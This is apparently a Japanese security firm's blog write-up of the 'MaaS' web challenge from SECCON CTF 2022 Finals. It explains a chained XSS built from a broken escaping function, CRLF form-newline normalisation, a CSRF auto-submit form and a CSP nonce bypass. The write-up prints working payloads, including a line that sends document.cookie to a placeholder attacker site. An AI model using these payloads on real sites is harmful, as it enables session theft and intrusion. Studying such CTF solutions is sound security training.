SECCON CTF 2022 Finalsレポート ~MaaS問題~(2023/6/23)
2023年06月23日 11:00 (JST)
高度解析部アプリケーションセキュリティ課の山崎です。
2023年2月に東京で本選が開催されたセキュリティコンテストSECCON CTFに参加してきました。
SECCON CTFとしてはおよそ3年ぶりにオフラインで開催されました。予選を勝ち抜いた国内国外の20チームが集まり、久しぶりに日本で開催されるCTFだったこともあって大変盛り上がっていました。
SECCONらしく競技形式としてはKing of the HillとJeopardyの形式の問題がそれぞれ出されましたが、今回はMaaSというWebカテゴリの問題を紹介します。
国内決勝に出場したチームの中では私のチームだけが解いた問題でした。
MaaS
ソースコード等: https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/maas
問題名はMinifier as a Serviceの略で、アクセスしてみるとJavaScriptのソースコードを圧縮した結果を返却するWebサイトが表示されます。
また、ソースコードの圧縮自体はクライアント側で行われており、結果表示のためにサーバに3つのパラメータ「originalLength」(元コードの長さ)「minifiedLength」(圧縮後のコードの長さ)「minifiedCode」(圧縮されたコード)を送信しています。
サーバは独自のテンプレートを元にHTMLを組み立てて表示していること、管理者のブラウザのCookieにFLAGがあることから、ここでXSSを引き起こすことができればFLAGを取得できそうな気がします。
web/views/result.html
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta content="default-src 'self'; base-uri 'none'; object-src 'none'; style-src https://unpkg.com/simpledotcss/simple.min.css; script-src 'nonce-{{CSP_NONCE}}'" http-equiv="Content-Security-Policy" > <link rel="stylesheet" href="https://unpkg.com/simpledotcss/simple.min.css"> <title>MaaS</title> </head> <body> <h1>Minifier as a Service</h1> <p>Result:</p> <pre><code>{{MINIFIED_CODE}}</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="{{CSP_NONCE}}"> (() => { const minifiedLength = {{MINIFIED_LENGTH}}; const originalLength = {{ORIGINAL_LENGTH}}; const rate = ((minifiedLength / originalLength) * 100) | 0; document.getElementById("compressionRate").innerHTML = `<b>${rate}%</b> (= ${minifiedLength} / ${originalLength})`; })(); </script> <a href="/#{{MINIFIED_CODE}}"><button type="button" id="edit">Edit</button></a> </body> </html>
web/index.js
fastify.post("/post", async (req, reply) => { const nonce = crypto.randomBytes(16).toString("base64"); const originalLength = parseInt(req.body.originalLength); const minifiedLength = parseInt(req.body.minifiedLength); const minifiedCode = req.body.minifiedCode; const templateHtml = (await fs.readFile("views/result.html")) .toString() .replaceAll("{{CSP_NONCE}}", nonce) .replaceAll("{{ORIGINAL_LENGTH}}", originalLength) .replaceAll("{{MINIFIED_LENGTH}}", minifiedLength); const html = templateHtml.replaceAll("{{MINIFIED_CODE}}", minifiedCode); return reply.type("text/html; charset=utf-8").send( escapeHtml( html, // (offset, length) of the first {{MINIFIED_CODE}}: templateHtml.indexOf("{{MINIFIED_CODE}}"), minifiedLength, // (offset, length) of the second {{MINIFIED_CODE}}: templateHtml.lastIndexOf("{{MINIFIED_CODE}}") + (minifiedLength - "{{MINIFIED_CODE}}".length), minifiedLength ) ); });
ただし、テンプレートの各文字を置き換えたあと、圧縮したコードが埋め込まれた部分についてはHTMLエスケープする関数「escapeHtml」が呼ばれているため、素直にXSSをするのは難しそうです。
<html> <code>{{MINIFIED_CODE}}</code> … <a href="/#{{MINIFIED_CODE}}"></a> </html>
↓ テンプレート置き換え
<html> <code>const a=”<foobar>”;</code> … <a href=”/#const a=”<foobar>”;”></a> </html>
↓ 埋め込まれた箇所のHTMLエスケープ
<html> <code>const a="<foobar>";</code> … <a href=”/#const a="<foobar<";”></a> </html>
加えて、「script-src 'nonce-VOD27kmmMh8y4zFKqtJw7g=='」のようにContent Security Policy(CSP)のnonceが設定されています。
CSP自体の説明は省略しますが、ここでは外部から埋め込まれたスクリプトの実行を阻止するために設定されており、ランダムに生成されるnonceの付与されていないスクリプトは実行することができません。
というわけでこの2つの問題をどうにかして解決する必要があります。
ステップ1. HTMLインジェクション
escapeHtml関数ではテンプレートで置き換わったであろう場所をあとからHTMLエスケープするという少し変わった手続きを行っています。
「1つ目の{{MINIFIED_CODE}}の開始位置」からminifiedLength文字分、「2つ目の{{MINIFIED_CODE}}の開始位置」からminifiedLength文字分がエスケープされます。
web/index.js
const escapeHtml = (unsafeStr, offset1, length1, offset2, length2) => { return ( unsafeStr.substring(0, offset1) + unsafeStr .substring(offset1, offset1 + length1) .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'") + unsafeStr.substring(offset1 + length1, offset2) + unsafeStr .substring(offset2, offset2 + length2) .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'") + unsafeStr.substring(offset2 + length2) ); };
minifiedLengthは圧縮されたコードの長さを表すものですが、クライアント側で計算され外部から与えられるパラメータであるためCSRF等で攻撃者が意図的に設定した値が入り込む可能性があります。
仮にminifiedCodeが「 <img src=foo><img src=bar> 」でminifiedLengthが13に設定されていると、コードの前半部分だけが中途半端にエスケープされ「<img src=foo><img src=bar>」になります。
この方法でXSSへ一歩前進できそうですが、一つ大きな問題があります。
この問題は管理者にコードを報告し、管理者が報告されたコードをサイト上で圧縮する形式になっており、いきなりCSRFでminifiedLengthを指定することができません。
そのため、実際の「minifiedCode」の長さと「minifiedLength」が異なるコードを作り出す必要があります。
ただクライアント側のコードを見る限り「minifiedLength」は「minifiedCode.length」の実行結果であるため、minifiedLengthの計算過程でこういったことは発生しなさそうに見えます。
web/index.js
Terser.minify(originalCode) .then(({ code: minifiedCode }) => { elements.minifiedCode.value = minifiedCode; elements.originalLength.value = originalCode.length; elements.minifiedLength.value = minifiedCode.length; form.submit(); })
では「minifiedLength」の計算後、フォームが送信されるタイミングでブラウザが「minifiedCode」とは少し異なるものをサーバに送信するケースはないでしょうか?
例えばWebサイトの文字コードがShift_JISの場合、絵文字のようなShift_JISにない文字が入力されるとブラウザはフォーム送信時に文字をHTMLエンティティに変換して送信する仕組みがありますが、今回はShift_JISではなさそうです。
参考: Shift_JIS に無い文字をフォーム送信時にブラウザがエンティティ変換してしまうのかのまとめ
https://hole.sugutsukaeru.jp/archives/262
何かこれを突破する方法がないかと試していたところ、面白いことにフォームの中の改行(LF)は送信時に改行(CRLF)に変換されることが判明しました。
参考: Newline normalizations in form submission
https://blog.whatwg.org/newline-normalizations-in-form-submission
これにより、改行1つにつき1バイト分、サーバで受け取るコード長とminifiedLengthのずれが発生し、HTMLを埋め込むことができるようになります。図にしてみるとこんな感じでしょうか。
実際に、以下のようなコードを送信してみると、後半の「<img src=x>」がHTMLエスケープされずに出力され、出力される画面が少し壊れることが確認できました。(細かなテクニックとして、Terser.minify()によって圧縮された後も改行が残されるようなコードを記述する必要があります。)
a=""` ...(改行(LF)13個)... <img src=x>`;
ステップ2. CSRF
HTMLインジェクションが可能になったところで、CSPによる実行スクリプトの制限があるため自由にスクリプトを実行できるわけではありません。
また、ソースコードをよく読んでみるとminifiedLengthが負の値のときにも生成されるHTMLをおかしくすることができそうですが、先程の方法では負の値を設定することはできません。
スクリプトの実行はできませんが、幸運なことにHTMLを埋め込むことができるようになったため攻撃者ができることは少し増えています。
こういった場面ではDOM ClobberingのようなテクニックがCTFではよく出てきますが、単純に「<meta http-equiv="Refresh" content="0; URL=http://[攻撃者のサイト]/">」のようなタグを埋め込むことで管理者を攻撃者のサイトにリダイレクトすることも可能です。
ステップ1のコードを流用して、このときのコードは以下のようになるでしょうか。
a=""` ...(改行(LF)100個)... <meta http-equiv="Refresh" content="0; URL=http://[攻撃者のサイト]/">`;
攻撃者のサイトが以下のHTMLを返すようにしておけば、CSRFでminifiedLengthに負の値をMaaSに送ることができます。
<form action="http://web:3000/post" method="POST"> <input type="hidden" name="minifiedCode" value="testtest" /> <input type="hidden" name="originalLength" value="0" /> <input type="hidden" name="minifiedLength" value="-123" /> </form> <script>document.forms[0].submit();</script>
ここで流れをまとめてみるとこのようになります。
ステップ3. CSPバイパス
CSPのnonce設定がされているということは、当然MaaSで出力されるHTML中には「<script nonce="VOD27kmmMh8y4zFKqtJw7g==">」のようなnonce付きのスクリプトがあります。
また、minifiedLengthが負の時、escapeHtml関数の処理でminifiedCodeが本来とは違う場所に現れる場合があるようです。
そのため、「<script nonce=”...”>」中にうまい具合にminifiedCodeが現れればXSSが可能となりそうです。
escapeHtml関数ではテンプレートを5パーツに分解した後に合成する処理が行われていますが、minifiedCodeが「MINIFIEDCODETEST」minifiedLengthが「-10」の時の状況を書き下してみるとこんな感じです。(コード中のハイライトされている箇所が各パーツの該当箇所)
1箇所目: 1つ目のminifiedCodeの手前まで
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta content="default-src 'self'; base-uri 'none'; object-src 'none'; style-src https://unpkg.com/simpledotcss/simple.min.css; script-src 'nonce-VOD27kmmMh8y4zFKqtJw7g=='" http-equiv="Content-Security-Policy" > <link rel="stylesheet" href="https://unpkg.com/simpledotcss/simple.min.css"> <title>MaaS</title> </head> <body> <h1>Minifier as a Service</h1> <p>Result:</p> <pre><code>MINIFIEDCODETEST</code></pre> ...
2箇所目: minifiedCodeの前の10文字分(HTMLエスケープされる)
... <pre><code>MINIFIEDCODETEST</code></pre> ...
3箇所目: 1つ目のminifiedCodeの10文字前から2つ目のminifiedCodeの10文字前からさらにminifiedCodeの長さ分削った長さ
... <pre><code>MINIFIEDCODETEST</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="VOD27kmmMh8y4zFKqtJw7g=="> (() => { const minifiedLength = -10; const originalLength = 0; const rate = ((minifiedLength / originalLength) * 100) | 0; document.getElementById("compressionRate").innerHTML = `<b>${rate}%</b> (= ${minifiedLength} / ${originalLength})`; })(); </script> <a href="/#MINIFIEDCODETEST"><button type="button" id="edit">Edit</button></a> </body> </html>
4箇所目: 3箇所目の末尾10文字(HTMLエスケープされる)
... <pre><code>MINIFIEDCODETEST</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="VOD27kmmMh8y4zFKqtJw7g=="> (() => { const minifiedLength = -10; const originalLength = 0; const rate = ((minifiedLength / originalLength) * 100) | 0; document.getElementById("compressionRate").innerHTML = `<b>${rate}%</b> (= ${minifiedLength} / ${originalLength})`; })(); </script> <a href="/#MINIFIEDCODETEST"><button type="button" id="edit">Edit</button></a> </body> </html>
5箇所目: 3箇所目の前10文字から最後まで
... <pre><code>MINIFIEDCODETEST</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="VOD27kmmMh8y4zFKqtJw7g=="> (() => { const minifiedLength = -10; const originalLength = 0; const rate = ((minifiedLength / originalLength) * 100) | 0; document.getElementById("compressionRate").innerHTML = `<b>${rate}%</b> (= ${minifiedLength} / ${originalLength})`; })(); </script> <a href="/#MINIFIEDCODETEST"><button type="button" id="edit">Edit</button></a> </body> </html>
minifiedLength分の長さの2箇所目と4箇所目のパーツが3回ずつ重複して現れている他、minifiedCodeとminifiedLengthによって重複する部分の開始位置と長さが調整可能なようです。
これらのパラメータを調整した結果、minifiedCodeの長さが94文字、minifiedLengthが206文字のときに以下のような構成でHTMLを作成可能であることが判明しました。
(3箇所目を「<script nonce=””」のように「>」なしで終了し、5箇所目を「>」から開始する方法も試しましたが、この方法では4箇所目で同じ名前のHTML属性名が複数定義されてしまうことでスクリプトの実行ができなくなるようです。)
3箇所目:
<pre><code>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="VOD27kmmMh8y4zFKqtJw7g==">
4箇所目: (HTMLエスケープされる)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> <script nonce="L0ke9KYdivmQULo02B63UA==">
5箇所目:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code></pre> <p>Compression rate: <span id="compressionRate"></span></p> ... </body> </html>
これでついにnonce付きスクリプトタグの直後にコードを置くことができました!
後はスクリプト実行時にエラーとならないように、4箇所目のminifiedCodeの後半部分をコメントアウトし、5箇所目で閉じタグ「</script>」でスクリプトが終了するようにちょっとしたJavaScriptパズルを完成させればクリアです。
送信するコード
AAAAAAAAAAA//*/</script> location=`//[攻撃者のサイト]/`+document.cookie /*AAAAAAAAAAAAAAAAAAAAAAAAAAA
あとは攻撃者のサイトにHTMLを設置し、ステップ2のCSRFを引き起こすコードを報告すれば完成です!
攻撃者のサイトに設置するHTML
<form action="http://web:3000/post" method="POST"> <input type="hidden" name="minifiedCode" value="AAAAAAAAAAA//*/</script> location=`//[攻撃者のサイト]`+document.cookie /*AAAAAAAAAAAAAAAAAAAAAAAAAAA" /> <input type="hidden" name="originalLength" value="0" /> <input type="hidden" name="minifiedLength" value="-206" /> </form> <script>document.forms[0].submit();</script>
うまくいくと、管理者のブラウザからフラグ「SECCON{csp_bypa55_is_a_type_0f_puzzle_games_for_h4ckerS}」が降ってきます!
おわりに
アプリケーションの脆弱な箇所は基本的にはescapeHtmlの処理方法だけですが、それを攻撃に活かすにはブラウザのフォーム送信時の挙動やCSRF、CSPの回避のための位置調整と複数のステップが要求される面白い問題でした。また競技中には、その場でLANケーブルを切って盗聴を行うオフライン開催であることを生かした問題も出題されていました。
GMOサイバーセキュリティ byイエラエではバグハンターやセキュリティコンテストで活躍するプレイヤーが実施するWebペネトレーションテスト<シナリオ型>・Webペネトレーションテスト<調査型>を提供しています。ツールだけでは評価の難しい、今回紹介したような複雑な脆弱性の調査も可能です。
またソースコードを共有いただくことによってより精度の高い調査を実施することが可能ですので、是非お気軽にご相談ください。